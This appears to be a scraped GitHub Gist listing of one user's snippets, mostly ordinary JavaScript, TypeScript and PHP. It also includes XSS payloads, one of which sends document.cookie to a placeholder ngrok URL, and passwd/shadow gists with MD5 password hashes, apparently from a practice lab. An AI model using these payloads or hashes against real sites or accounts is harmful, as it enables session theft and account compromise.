Skip to content

Instantly share code, notes, and snippets.

"use strict";
class User {
constructor (private _name : string,
private _email : string) {}
get name () : string { return this._name; }
get email () : string { return this._email; }
/* Lightweight wrapper around JSONPlaceholder promise.
*/
"use strict";
const http = require('http'),
ROOT = 'jsonplaceholder.typicode.com';
// Path is first c. line arg when standalone.
const item = process.argv[3],
path = process.argv[2];
@Peleke
Peleke / merge_overlapping_calendar_appointme nts.js
Created December 23, 2016 21:10
Solution to the problem of merging overlapping calendar appointments.
'use strict';
/******************************************************************************/
const overlaps = (previous, current) => current.startTime <= previous.endTime;
/******************************************************************************/
const merge_meetings = (most_recently_merged) => (next) =>
({ startTime : most_recently_merged.startTime, endTime : next.endTime })
@Peleke
Peleke / isEnglish.js
Last active June 21, 2019 14:42
tryAll
'use strict'
const fs = require('fs')
// Save this list as `eng_10k.txt`: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt
const _getFrequencyList = () => {
const frequencyList = fs.readFileSync(`${__dirname}/eng_10k.txt`).toString().split('\n').slice(1000)
const dict = {};
frequencyList.forEach(word => {
// Ignore weird consonant clusters
// match returns `null` if `word` contains no vowels
<?php
echo '<h3>HACKED</h3>'
?>
<?php
echo '<script>alert(document.cookie)</script>'
?>
<script>
document.write('<img src="[YOUR Ngrok URL]?c='+document.cookie+'" />');
</script>
@Peleke
Peleke / passwd
Created November 16, 2018 00:03
passwd
clark:x:1003:1003:,,,:/home/clark:/bin/bash
barry:x:1004:1004:,,,:/home/barry:/bin/bash
bruce:x:1005:1005:,,,:/home/bruce:/bin/bash
wonderwoman:x:1006:1006:,,,:/home/wonderwoman:/bin/bash
@Peleke
Peleke / shadow
Created November 16, 2018 00:04
shadow
clark:$1$vCQJuDA5$LMfNnEfUOWqGlsw.oZwvU/:17739:0:99999:7:::
barry:$1$9/41ELaR$s5x1MSIHQ8Ci1w.Xi2Q9y0:17739:0:99999:7:::
bruce:$1$k1Dn6mHP$02qi2NpmPbm.g/UJ5hUL5/:17739:0:99999:7:::
wonderwoman:$1$ePQswNon$zfhmpFHe/Hsqh.J8z9mkF.:17739:0:99999:7:::
<?php
$html = <<<EOT
<h1>Hello, world.</h1>
EOT;
echo $html;
?>